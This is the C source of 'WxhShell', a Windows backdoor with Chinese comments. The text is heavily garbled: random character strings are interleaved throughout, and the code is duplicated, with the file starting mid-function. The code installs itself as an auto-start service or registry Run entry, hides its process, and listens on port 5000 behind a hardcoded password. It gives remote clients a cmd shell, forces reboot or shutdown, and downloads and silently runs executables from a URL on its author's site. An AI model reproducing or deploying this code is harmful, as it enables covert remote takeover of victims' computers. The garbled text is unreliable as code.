v<|y F g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3{]csZvW g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gR?=z}`@p NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 305() jaFBz&P/# if (!NtQueryInformationProcess) return 0; f*aYS b:+.Y$%F- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
" q0lh if(!hProcess) return 0; j2k,)MHu!x QUH USDT if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <t.yn\G-w m!tB;:6 CloseHandle(hProcess); Go=MG:` !J3g, p* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <;=?~QK%- if(hProcess==NULL) return 0; W(9-XlYKE =M*31>"I0 HMODULE hMod; E}b"
qOV char procName[255]; 3.xsCcmP unsigned long cbNeeded; qVx4 t"%L> rMdOE&5G if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gcQ>:mi mXAX%M U CloseHandle(hProcess); ;Ze}i/l OLXG0@ if(strstr(procName,"services")) return 1; // 以服务启动 ,1a6u3f, 18zv]v
% return 0; // 注册表启动 1I<fp $h } u?&P6|J& S)>L 0^M1 // 主模块 =j#uH`jgW int StartWxhshell(LPSTR lpCmdLine) j[F\f> { LeF Z%y)F SOCKET wsl; Z[[qW
f BOOL val=TRUE; +A>>Ak|s int port=0; jL<:N
8 struct sockaddr_in door; "fU=W|lY 4703\
HK if(wscfg.ws_autoins) Install(); v8I&~_b z)#I"$!d port=atoi(lpCmdLine); Vof[yL ` [h
{zT)[ if(port<=0) port=wscfg.ws_port; 2ed$5.D p$`71w)'[ WSADATA data; [sy~i{Bm if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0L S,(v4 5N@k9x if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F;kY5+a7~e setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x&@. [FJhO door.sin_family = AF_INET; +? E~F door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6k|o<`~, door.sin_port = htons(port); *%=BcV+, 7;2j^qPr if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <v>^#/.0 closesocket(wsl); )+OI} return 1; +C' u!^) } .D!0$W mOZ F>dB@V- if(listen(wsl,2) == INVALID_SOCKET) { | (JxtQqQg closesocket(wsl);
=8?y$WE return 1; ?\"GT] 5D } V|gW%Z,j Wxhshell(wsl); >B!E 6ah WSACleanup(); ,.A@U*j >-*rtiE return 0; 7l/.fSW jhgS@g=@ZC } iyKAw
#>iBu:\J // 以NT服务方式启动 |r>+\" X VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7 XE&[o { N?hQ53#3 DWORD status = 0; r'/&{?Je/ DWORD specificError = 0xfffffff; AJ}QS?p8s B52n'. serviceStatus.dwServiceType = SERVICE_WIN32; mvgsf(a*' serviceStatus.dwCurrentState = SERVICE_START_PENDING; Tsch:r S serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n=J~Rssp serviceStatus.dwWin32ExitCode = 0; (H5nz': serviceStatus.dwServiceSpecificExitCode = 0; #s>AiD serviceStatus.dwCheckPoint = 0; &&T\PspM serviceStatus.dwWaitHint = 0; /Jj7+? c!*yxzs\ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
kw{dvE\K if (hServiceStatusHandle==0) return; 1y'8bt~7Pf C~-x637/ status = GetLastError(); ]9qY(m if (status!=NO_ERROR) js;p7wi { >cU#($X$^ serviceStatus.dwCurrentState = SERVICE_STOPPED; nWb*u serviceStatus.dwCheckPoint = 0; @6h,#8# serviceStatus.dwWaitHint = 0; nsn serviceStatus.dwWin32ExitCode = status; gR1vUad7 serviceStatus.dwServiceSpecificExitCode = specificError; 8?LsV< SetServiceStatus(hServiceStatusHandle, &serviceStatus); >M~1{ return; )Q= EmZbJz } [$M=+YRHMW K)b@,/ 5 serviceStatus.dwCurrentState = SERVICE_RUNNING; K</EVt,U~ serviceStatus.dwCheckPoint = 0; 0Xo>f"2<f serviceStatus.dwWaitHint = 0; ;E:vsVK if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &n$kVNE } Iue}AGxu:{ nilis-Bk_ // 处理NT服务事件,比如:启动、停止 I]Ev6>=; VOID WINAPI NTServiceHandler(DWORD fdwControl) _|+}4 ap { sjGy=d{:oL switch(fdwControl) vz6No%8X { 4fauI%kc case SERVICE_CONTROL_STOP: E{s p serviceStatus.dwWin32ExitCode = 0; $ix:S$ serviceStatus.dwCurrentState = SERVICE_STOPPED; YYNh|
2 serviceStatus.dwCheckPoint = 0; bUvVt3cm serviceStatus.dwWaitHint = 0; Z5/*iun { ,Tp:. " SetServiceStatus(hServiceStatusHandle, &serviceStatus); tV?- } *.%z return; +@] ,JlYf case SERVICE_CONTROL_PAUSE: eJbZA&: serviceStatus.dwCurrentState = SERVICE_PAUSED; )XCG4-1 break; `]~1pc case SERVICE_CONTROL_CONTINUE: {g9*t}l4 serviceStatus.dwCurrentState = SERVICE_RUNNING; 1.24ZX break; Y"H'BT!b} case SERVICE_CONTROL_INTERROGATE: ^^,cnDlm break; u00w'=pe) }; 5 EhOvt8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3JYhF)G } :1asY:)vNP B(|*u // 标准应用程序主函数 @TJxU int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tTEw"DL_- { M.FY4~ 90wGS_P04 // 获取操作系统版本 :j2?v(jT_l OsIsNt=GetOsVer(); 21k,{FB'? GetModuleFileName(NULL,ExeFile,MAX_PATH); =/5^/vwgY [~NJf3c" // 从命令行安装 j(~e{HZ if(strpbrk(lpCmdLine,"iI")) Install(); 3d>8~ANi=% !$u:[T_8 // 下载执行文件 qu\cU(H| if(wscfg.ws_downexe) { Mi~x(W@}3 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :$6mS[@| WinExec(wscfg.ws_filenam,SW_HIDE); Mmmg3%G1 } >\br8=R -7Bg5{FA if(!OsIsNt) { pO?v$Rjl // 如果时win9x,隐藏进程并且设置为注册表启动 -kF8ZF HideProc(); h*
72 f/# StartWxhshell(lpCmdLine); ^>Vl@cW0uz } s(Y2]X4
( else `cQAO1-5 if(StartFromService()) CCHGd&\Z // 以服务方式启动 Nl]_Ie6 StartServiceCtrlDispatcher(DispatchTable); B>}B{qi| else C'~Eq3 // 普通方式启动 9dVHh?E StartWxhshell(lpCmdLine); YsO3( HS q nb#~=x^ return 0; .oS[ DTn5S } &w!(.uDO 8]K+,0m6 u>ZH-nw O F MX^k =========================================== ,ZI#p6 |A.nP9 hW dVMduo S
awf]/ `+h+X9 mxnu\@}( " dQn,0 =AcK9?%5 #include <stdio.h> }}qY,@eeX #include <string.h> |2E:]wT}qg #include <windows.h> kyi"U A82 #include <winsock2.h> +iqzj-e&e[ #include <winsvc.h> 1B#iJZ} #include <urlmon.h> `@xnpA]l z6*r<>Bf+b #pragma comment (lib, "Ws2_32.lib") ^
Paf -/ #pragma comment (lib, "urlmon.lib") B&QEt[=s 6&+}Hhe #define MAX_USER 100 // 最大客户端连接数 0.\}D:x(z #define BUF_SOCK 200 // sock buffer x)jc #define KEY_BUFF 255 // 输入 buffer )3f<0C> K=!
C\T"I% #define REBOOT 0 // 重启
:yw8_D3 #define SHUTDOWN 1 // 关机 "!Qi$ ] b@S~
= #define DEF_PORT 5000 // 监听端口 7{tU'`P> W|Cs{rBc? #define REG_LEN 16 // 注册表键长度 j#~ S"t #define SVC_LEN 80 // NT服务名长度 ov<vSc<u V%(T#_E/6 // 从dll定义API @Q7^caG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U3jnH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xS4?M<|L63 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 63(XCO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]z!Df\I Kv)Kn8df // wxhshell配置信息 f?r{Q struct WSCFG { AJ>$`= int ws_port; // 监听端口 ]VR79l char ws_passstr[REG_LEN]; // 口令 Wf3{z
D~ int ws_autoins; // 安装标记, 1=yes 0=no #_Zkke~{ char ws_regname[REG_LEN]; // 注册表键名 QFK'r\3pU char ws_svcname[REG_LEN]; // 服务名 p//mVH% char ws_svcdisp[SVC_LEN]; // 服务显示名 4p7j"d5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 AC\y|X8- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o5['5?i} / int ws_downexe; // 下载执行标记, 1=yes 0=no ;eJ|)* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &_q8F,I \< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (}5};v mPF<2:)wv }; ]s0GAp" 194n // default Wxhshell configuration O2":)zU. struct WSCFG wscfg={DEF_PORT, z6Fl$FFP "xuhuanlingzhe", ZA&bp{}D 1, mBEMwJ}O` "Wxhshell", ]Exbuc "Wxhshell", k]A=Q "WxhShell Service", nq,:UYNJ "Wrsky Windows CmdShell Service", qm<-(Qc(W "Please Input Your Password: ", 8`s*+.LI! 1, _%3p&1ld "http://www.wrsky.com/wxhshell.exe", XqU0AbQ "Wxhshell.exe" FJqg, }; Jz4;7/ 1,:QrhC // 消息定义模块 [wk1p-hf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7xM4=\~OG char *msg_ws_prompt="\n\r? for help\n\r#>"; QL @SE@" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &1Y7Ne char *msg_ws_ext="\n\rExit."; ?VCp_Ji char *msg_ws_end="\n\rQuit."; DxD\o+:r char *msg_ws_boot="\n\rReboot..."; z0x^HDAeC char *msg_ws_poff="\n\rShutdown..."; ;s #I b_ char *msg_ws_down="\n\rSave to "; ~$ Po3]{s KMG}VG
char *msg_ws_err="\n\rErr!"; M1]w0~G char *msg_ws_ok="\n\rOK!"; OJ7Uh_;/ nltOX@P- char ExeFile[MAX_PATH]; x[fp7*TiG int nUser = 0; %__ @G_M HANDLE handles[MAX_USER]; +vH#xc\' int OsIsNt; oB @)!' P9R-41! SERVICE_STATUS serviceStatus; >0u*E *Y SERVICE_STATUS_HANDLE hServiceStatusHandle; oGyoU#z# mE=Tj%+x // 函数声明 Zl>wWJ3y int Install(void); eoFG$X/PO int Uninstall(void); |9F-ZH~6 int DownloadFile(char *sURL, SOCKET wsh); E:O/=cT int Boot(int flag); p.<d+S< void HideProc(void); _v8u% int GetOsVer(void); GY5JPl int Wxhshell(SOCKET wsl); \II^&xSF void TalkWithClient(void *cs); ks69Z|D int CmdShell(SOCKET sock); J*zQ8\f=} int StartFromService(void); cp"{W-Q{$ int StartWxhshell(LPSTR lpCmdLine); -;;m/QM %{UW!/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ONZ(0H{ 1$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); YE:5'@Z 9xK#(M // 数据结构和表定义 RH$l?j6 SERVICE_TABLE_ENTRY DispatchTable[] = .g7\+aiTUd { t8; nP[` {wscfg.ws_svcname, NTServiceMain}, knzo 6 {NULL, NULL} ^jcVJpyT@R }; |Bv,*7i& KU Mk:5
c // 自我安装 iA`.y9'2 int Install(void) #)i+'L8 { 1(_[awBx char svExeFile[MAX_PATH]; EY.m,@{ HKEY key; 4H@7t,> strcpy(svExeFile,ExeFile); W6r3v)~ ~9,Fc6w4`+ // 如果是win9x系统,修改注册表设为自启动 (dy:d^ if(!OsIsNt) { `,Y3(=3Xe? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { biForT_no RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z5D*UOy5M RegCloseKey(key); RE-y5.kE^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l>hvWK[ ?I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _KBa`lhE RegCloseKey(key); 91nB?8ZE6, return 0; -i_XP]b& } ,|;\)tT } ;?TM_%> } Mhb~wDQl else { O%aHQL%Sz gR_Exs'K // 如果是NT以上系统,安装为系统服务 RSw;b.t7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7osHKO<?2 if (schSCManager!=0) OHnsfXO_V { glkH??S SC_HANDLE schService = CreateService 7j(gW ( 8wEJyAu2 schSCManager, C*11?B[ wscfg.ws_svcname, '$z@40u wscfg.ws_svcdisp, i[z#5;x+< SERVICE_ALL_ACCESS, U'Y,T$Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ttt4h SERVICE_AUTO_START, ~zvZK]JoX SERVICE_ERROR_NORMAL, YUyYVi7clq svExeFile, A6E~GJa NULL, o3NB3@uj< NULL, `=Bv+ NULL, u@`y/,PX NULL, Df]*S NULL o h9L2 " ); >7cDfv" if (schService!=0) E}#&2n8Y { _fHj8-
s/ CloseServiceHandle(schService); v0bP|h[t CloseServiceHandle(schSCManager); HV]u9nrt# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sheCwhV strcat(svExeFile,wscfg.ws_svcname); }D3hP|.X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )YZx]6\l) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^ ]+vtk RegCloseKey(key); wS
>S\,LV return 0; [ L
' > } ^i8(/iwdJE } }}"|(2I CloseServiceHandle(schSCManager); ZXIz.GFy+ } (B?ZUXM, } m& D#5C vTWm_ed+^ return 1; 8.7lc2aX } 5aXE^.` ~\<L74BB // 自我卸载 6['o^>\}f int Uninstall(void) S/l6c P { #>sIXY HKEY key; g;7u-nP tDMNpl if(!OsIsNt) { )M"xCO3a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >LPIvmT4D? RegDeleteValue(key,wscfg.ws_regname); ~8-xj6^ RegCloseKey(key); 3BF3$_u)o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CAN1~ RegDeleteValue(key,wscfg.ws_regname); nV8iYBBym RegCloseKey(key); ,s:viXk return 0; _NpxV'E } S&D8Rao5 } N&|,!Cu } gr# |ZK.` else { s3K!~v\L] ;0uiO. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8kE3\#);\ if (schSCManager!=0) l?Ibq} [~ { 7?);wh 7` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T`]P5Bk8r if (schService!=0) M~+DxnJ= { ][YC.J if(DeleteService(schService)!=0) { ft4hzmuzM CloseServiceHandle(schService); $s 'n]]Wq CloseServiceHandle(schSCManager); g8"H{u return 0; n?9FJOqi } d'b9.ki\ CloseServiceHandle(schService); Az:A,;~+,! } 8q:#
' CloseServiceHandle(schSCManager); 3~Ap1_9 } ["<'fq;PJ } #%V+- b( )HX(-"c return 1; lnF{5zc } LyL(~Jc| ktp<o.f[ // 从指定url下载文件 8PWEQ<ev7> int DownloadFile(char *sURL, SOCKET wsh) HK%W7i/k@ { _N0N#L4M HRESULT hr; -MFePpUt char seps[]= "/"; e_cK#9+ char *token; ksUF(lYk char *file; 6` Aw!&{ char myURL[MAX_PATH]; "^Y zHq6 char myFILE[MAX_PATH]; P'*Fd3B#A= uH[:R vC0 strcpy(myURL,sURL); xLgZtLt9 token=strtok(myURL,seps); wti while(token!=NULL) >5D;uTy
u { ,R-aO= % file=token; Wv~&Qh} token=strtok(NULL,seps); x@[6u } k~,
k@mR ,ne3uPRu7~ GetCurrentDirectory(MAX_PATH,myFILE); O%px>rdkY strcat(myFILE, "\\"); ud"Kko Rt strcat(myFILE, file); =1<v1s|)q send(wsh,myFILE,strlen(myFILE),0);
MT$)A:" send(wsh,"...",3,0); 8Dn~U:F/? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wzBw5nf\ if(hr==S_OK) py'xBi6}v return 0; )t CNp else g${k8.TV return 1; L^bX[.uZw rZE+B25T~ } `;j$] 3e1P!^'\ // 系统电源模块 w"?RbA int Boot(int flag) LC\U6J't1 { Z9Z\2t HANDLE hToken; MIb[}w= TOKEN_PRIVILEGES tkp; <d >!% QX-n l~ if(OsIsNt) { {faIyKtW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M+:9U&>
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )ybF@emc tkp.PrivilegeCount = 1; ~R50-O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z\woTL6D] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e^$JGh2 if(flag==REBOOT) { 15r=d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {w7/M]m- return 0; ExeZj8U } E=`/}2 else { c5:X$k\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z[eWey_ return 0; 2(m#WK7>F } sz%_9;`dpL } mkl^2V13~ else { 1I)oT-~ if(flag==REBOOT) { h[Uo6` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <1
;pyw
y return 0; e+MQmWA'F } yrd1J$ else { vTTXeS-b if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T k@ ~w return 0; 4S[UJ% } e6^}XRyf } 4IvT}Us#+ n 8
K6m( return 1; nd7g8P9p } ^)(tO$S ? Dn} // win9x进程隐藏模块 l@ (:Q!Sk void HideProc(void) \-f/\P/ w { bZ``*{I/ q alrG2
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ivj=?[c| if ( hKernel != NULL ) 4I&Mdt<^D { \O\q1
s~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l5\V4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QHc([%oV FreeLibrary(hKernel); O%N. ;Ve } 8@RtL,[d (.VS&Kv#U return; ou-uZ"$,c } }}D32TVN wm_rU] // 获取操作系统版本 [m%]C int GetOsVer(void) y*6/VSRkt4 { "?<h,Hvi OSVERSIONINFO winfo; 9%1J..c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P,9Pn)M| GetVersionEx(&winfo); x":o*(rSQ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "Mhn?PTq return 1; Z!7xRy else U4<c![Pp. return 0; >?rMMR+A } F=e-jKogK
v+8Ybq // 客户端句柄模块 u05Yy&(f int Wxhshell(SOCKET wsl) I~&9c/& { _(I6o SOCKET wsh; =I@I struct sockaddr_in client; ]V_A4Df DWORD myID; :2&"ak>N Z#bO}! while(nUser<MAX_USER) c?u*,d) G { RS
l*u[fB int nSize=sizeof(client); M.r7^9 P wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B?- poB& if(wsh==INVALID_SOCKET) return 1; -
l^3>!MAM ! ?/:p. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P^48]Kj7 if(handles[nUser]==0) 7 )rL<+ closesocket(wsh); _53~D= else mt`CQz"_ nUser++; RHMXPsj } Lj9RF<39g WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eZN"t~\rX "H<us?r{ return 0; k)|.< } ;i'[c` Z7RBJK7|. // 关闭 socket :GO"bsjL void CloseIt(SOCKET wsh) LO>42o?/i { WmN(
( closesocket(wsh); A`ajsZ{q, nUser--; -]H~D4ng ExitThread(0); " aCAA#$J } BP0:<vK{ W)/^*,
Q7 // 客户端请求句柄 "Y=`w,~~ void TalkWithClient(void *cs) T'@+MA) ~ { >m.. oPM*VTMA SOCKET wsh=(SOCKET)cs; 13`Mt1R char pwd[SVC_LEN]; sA77*T char cmd[KEY_BUFF]; j7k}!j_O{ char chr[1]; +a1iZ bh int i,j; 8.Y|I5l7G aR/?YKA while (nUser < MAX_USER) { \r[u>7I IT&,?u% if(wscfg.ws_passstr) { %S}uCqcAK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V?1 $H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1/2cb-V //ZeroMemory(pwd,KEY_BUFF); ,<r&]
eC i=0; 9;?u% while(i<SVC_LEN) { ~"CGur P }Mt1C~{( // 设置超时 7K:V<vX5 fd_set FdRead; HP1QI/*v struct timeval TimeOut; (rkg0 FD_ZERO(&FdRead); X3X_=qzc FD_SET(wsh,&FdRead); `+"(GaZ TimeOut.tv_sec=8; y{>f^S< TimeOut.tv_usec=0; ?!6Itkg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @2)nhW/z6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xa?O)Bq. ng"=vmu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?(R3%fU pwd=chr[0]; Es%f@$0uy if(chr[0]==0xd || chr[0]==0xa) { qul#)HI pwd=0; dkZe.pv$j break; )J}v.8 } U5OX.0 i++; pUb1#= } ^hmV?a:Y U`mX
f#D // 如果是非法用户,关闭 socket bIAE?D if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P<<+;'] } !}#> ky!t ]A'{DKR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D3X4@sM send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L ,dh$F /[.V( K
D while(1) { -HG.GA R[a-" ZeroMemory(cmd,KEY_BUFF); .qO4ceW2-~ {_-kwg{"( // 自动支持客户端 telnet标准 uK2HtRY1 j=0; *WQ?r&[_' while(j<KEY_BUFF) { 6FA+qYSV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SG&,o=I$ cmd[j]=chr[0]; ir_XU/ve if(chr[0]==0xa || chr[0]==0xd) { yu6{ 6[
cmd[j]=0; q"u, Tnc; break; A iM ukd, } ZH_$Q$9 j++; (?7=,A7^ } ^w60AqR8 HcsVq+ // 下载文件 j|k/&q[St if(strstr(cmd,"http://")) { 1
:p' send(wsh,msg_ws_down,strlen(msg_ws_down),0); ew~Z/ A if(DownloadFile(cmd,wsh)) >v.fH6P,} send(wsh,msg_ws_err,strlen(msg_ws_err),0); P1Hab2%+ else wtY)(ka send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sFTAE1| } ayy\7b else { OlOOg i/x |c!E switch(cmd[0]) { )4L2&e`k)( ^ `y7JXI: // 帮助 CUu
Owx6% case '?': { 4XjwU` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SIJ7Y{\. break; pCs3-&rI3 } FvpU] // 安装 ^l!SIu case 'i': { 3%kUj if(Install()) "GO!^ZG] send(wsh,msg_ws_err,strlen(msg_ws_err),0); eU1F7LS else ez,.-@O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "?NDN4l* break; /iU<\+ H } TTz=*t+D // 卸载 ]y_:+SHc case 'r': { Z-PBCU if(Uninstall()) '~D4%WKT send(wsh,msg_ws_err,strlen(msg_ws_err),0); $0_K&_5w~ else JU?;Kq9R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .9nqJ7] break; yE8D^M|g } !kovrvM6F // 显示 wxhshell 所在路径 ba|xf@=& case 'p': { K81X32Lm' char svExeFile[MAX_PATH]; d`^3fr'.4A strcpy(svExeFile,"\n\r");
8G:/f3B= strcat(svExeFile,ExeFile); Lv%3 jj send(wsh,svExeFile,strlen(svExeFile),0); #n>U7j9`O break; .G{cx=; } .l1x~( // 重启 ?+t;\ case 'b': { ys9:";X;} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >dl5^ if(Boot(REBOOT)) 4YfM.~
6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); T+Z[&| else { 4$xVm,n|
closesocket(wsh); (U:-z=E#1 ExitThread(0); cRLw)"| } ,HZ%q]*:~ break; |?T=4~b
} ihrf/b // 关机 fDy*dp4z case 'd': { DBAyc# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hr?lRaV if(Boot(SHUTDOWN)) A8'RM F1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Arv6kD, else { `MI\/oM@ closesocket(wsh); tbS hSbj ExitThread(0); Cn~VJ,l
g } LYDiqOrx break; 4 Ej->T. } TKB8%/_p // 获取shell n
_K1% case 's': { d{S'6*`D CmdShell(wsh); wN[lC|1c closesocket(wsh); &-=~8 ExitThread(0); I3Vu/&8f| break; %1i:*~g } ojM'8z0Hn // 退出 32ki ?\P case 'x': { ^~~Rto)Y send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wA5Iz{uQO CloseIt(wsh); *K/K97 break; X:i?gRy" } cW%)C.M // 离开 wH~A>
4*( case 'q': { <m-(B"FX send(wsh,msg_ws_end,strlen(msg_ws_end),0); *Jsb~wta closesocket(wsh); (<Cq_Kw WSACleanup(); t\Vng0 exit(1); )E9!m break; vb>F)X?b_ } Ae>+Fcv } poQ_r<I } ^#R`Uptib +f/
I>9G // 提示信息 b}qfOgd5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~J].~^[ } y0xBNhev } >=N-P<% DT]4C!dh return; RL`E}:V } 8jz>^.-o qyRN0ZB"A^ // shell模块句柄 yj:@Fg-3g int CmdShell(SOCKET sock) BM!ZdoKrKt { Y<T0yl? STARTUPINFO si; </25J(( ZeroMemory(&si,sizeof(si)); :E")Zw&sW3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D6VdgU| si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SJiQg-+<Uf PROCESS_INFORMATION ProcessInfo; rj=as>6B char cmdline[]="cmd"; c,1 G+. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }b2YX+/e$f return 0; +R*DE5dz } dj0%?g> 9`f@"%h // 自身启动模式 $FPq8$V int StartFromService(void) (.#nl}fA { X_78;T)uA typedef struct J1w[gf]J { g
*,O DWORD ExitStatus; #L.,aTA< DWORD PebBaseAddress; sa.H,<; DWORD AffinityMask; 0qN`-0Yk DWORD BasePriority; _mm(W=KiL ULONG UniqueProcessId; yY8zTWji_ ULONG InheritedFromUniqueProcessId;
Qz@_"wm[ } PROCESS_BASIC_INFORMATION; KYiJXE[Q- EDnNS PROCNTQSIP NtQueryInformationProcess; : #a ZxtO.U2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v< P0f"GH static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ta?NO{* `4K|L6 HANDLE hProcess; ()aCE^C PROCESS_BASIC_INFORMATION pbi; U`6|K$@ O:0{vu9AQ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bSe\d~{ if(NULL == hInst ) return 0; w+6P x# }.g5zy g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vEI{AmogRx g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c0o]O[ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s*rR>D: WOn53|GQK if (!NtQueryInformationProcess) return 0;
